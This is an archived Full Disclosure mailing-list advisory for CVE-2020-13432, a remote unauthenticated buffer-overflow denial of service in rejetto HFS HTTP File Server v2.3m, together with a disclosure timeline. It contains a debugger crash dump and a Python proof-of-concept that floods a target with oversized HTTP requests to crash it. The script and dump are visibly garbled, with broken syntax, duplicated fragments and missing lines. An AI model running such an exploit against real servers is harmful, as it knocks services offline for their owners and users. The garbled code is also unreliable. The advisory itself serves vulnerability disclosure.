

## <u>Full Disclosure</u> mailing list archives





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 CVE-2020-13432 - HFS HTTP File Server / Remote Buffer Overflow DoS
From: hyp3rlinx <apparitionsec () gmail com> Date: Mon, 8 Jun 2020 00:47:14 -0400
         Credits: John Page (aka hyp3rlinx)
Website: hyp3rlinx.altervista.org
Source:
p://hyp3rlinx.altervista.org/advisories/HFS-HTTP-FILE-SERVER-v2.3-REMOTE-BUFFER-OVERFLOW-DOS.txt
 [+] twitter.com/hyp3rlinx
[+] ISR: ApparitionSec
 [Vendor]
www.rejetto.com
 [Product]
HFS Http File Server v2.3m Build 300
 [Vulnerability Type]
Remote Buffer Overflow (DoS)
[Security Issue] rejetto HFS (aka HTTP File Server) v2.3m Build $300, when virtual files or folders are used, allows remote attackers to trigger an invalid-pointer write access violation via concurrent HTTP requests with a long URI or long HTTP headers like Cookie, User-Agent etc.
Remote unauthenticated attackers can send concurrent HTTP requests using an incrementing or specific payload range of junk characters for values in the URL parameters or HTTP headers sent to the server. This results in hfs.exe server crash from an invalid pointer write access violation.
 Requirements:
hfs.exe must have at least one saved virtual file or folder present.
Test using a remote IP and NOT from the same machine (localhost).
(e4c.3a8): Access violation - code c0000005 (first/second chance not available)
For analysis of this file, run !analyze -v
WARNING: Stack overflow detected. The unwound frames are extracted from outside normal stack bounds.
eax=000a1390 ebx=000a138c ecx=006eb188 edx=001b0000 esi=00000000
 eip=777ef8b4 esp=000a0e0c ebp=000a12cc iopl=0
                                                                                                                        nv up ei pl nz na pe
 nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b
CS-0023 SS-002B US-002B eS-002B eS-002B eF-00210206
ntdl::Rt:pResolveAssemblyStorageMapEntry+0x18:
777e7E84 53 push ebx
0:0000 !load winext/msec
0:0000 !exploitable
WARNING: Stack overflow detected. The unwound frames are extracted from outside normal stack bounds.
*** WARNING: Unable to verify checksum for hfs.exe
Exploitability Classification: EXPLOITABLE
Recommended Bug Title: Exploitable - User Mode Write AV starting at
ntdl::Rt:pResolveAssemblyStorageMapEntry+0x00000000000018
(Hash=0x7a29717c.0x325e6a71)
PROCESS NAME: hfs.exe
FOLLOWUP_IP:
hfs+8fad7
0048fad7 8945f0 mov dword ptr [ebp-10h],eax
WRITE ADDRESS: 000a0e08
```

## [References]

https://github.com/rejetto/hfs2/releases/tag/v2.4-rc01

```
[Exploit/POC]
from socket import *
import time,sys
  #HFS HTTP File Server v2.3m build 300.
 #Vendor: www.rejetto.com
#Remote Remote Buffer Overflow DoS
#Note: his.exe must have at least one saved virtual file or folder on the
 #Note: his.exe must must be target target #test using a remote IP and not from the same machine. #biscovery: hyp3rlinx #hyp3rlinx.altervista.org #ISR: ApparitionSec #1.
def hfs_dos():
       global ip,port,length,res,once,cnt,max_requests
        length += 1
payload = "A"*length
        try:
    s=socket(AF_INET, SOCK_STREAM)
    s.settimeout(2)
    s.connect((ip,port))
##bof ="HEAD / HTTP/1.1\r\nHost: "+ip+"Cookie: "+payload+"\r\n\r\n"
    bof ="HEAD / Payload+" HTTP/1.1\r\nHost: "+ip+"\r\n\r\n"
    s.send(bof.encode("utf-8"))
```

```
if once==0:
        e:
print("[!] Done!")
exit()
         s.close()
         if cnt == max_requests:
    return False
         return True
 def msg():
    print("HFS HTTP File Server v2.3m build 300.")
    print("Unauthenticated Remote Buffer Overflow (DoS - FoC)")
    print("Virtual HFS saved file or folder required.")
    print("Run from a different machine (IP) than the target.")
    print("By Hyp3rlinx - ApparitionSec\n")
  if __name__=="__main__":
         length=3
         if len(sys.argv) != 3:
                 msg()
print("Usage: <hfs.exe Server>, <Port (usually 8080)>")
exit()
         ip = sys.argv[1]
port = int(sys.argv[2])
         msg()
         while True:
    if not hfs_dos():
        print("[:] Failed, non vuln version or no virtual files exist
  [POC Video URL]
                                   ibe.com/watch?v=qQ-EawfXuWY
   [Network Access]
Remote
  [Severity]
High
  [Disclosure Timeline]
Vendor Notification: May 18, 2020
Vendor reply: May 18, 2020
Vendor confirm vulnerability: May 19, 2020
Vendor creates fix: May 20, 2020
Vendor released new version 2.4 : June 7, 2020
June 8, 2020 : Public Disclosure
  [+] Disclaimer
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  hyp3rlinx
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Exploitation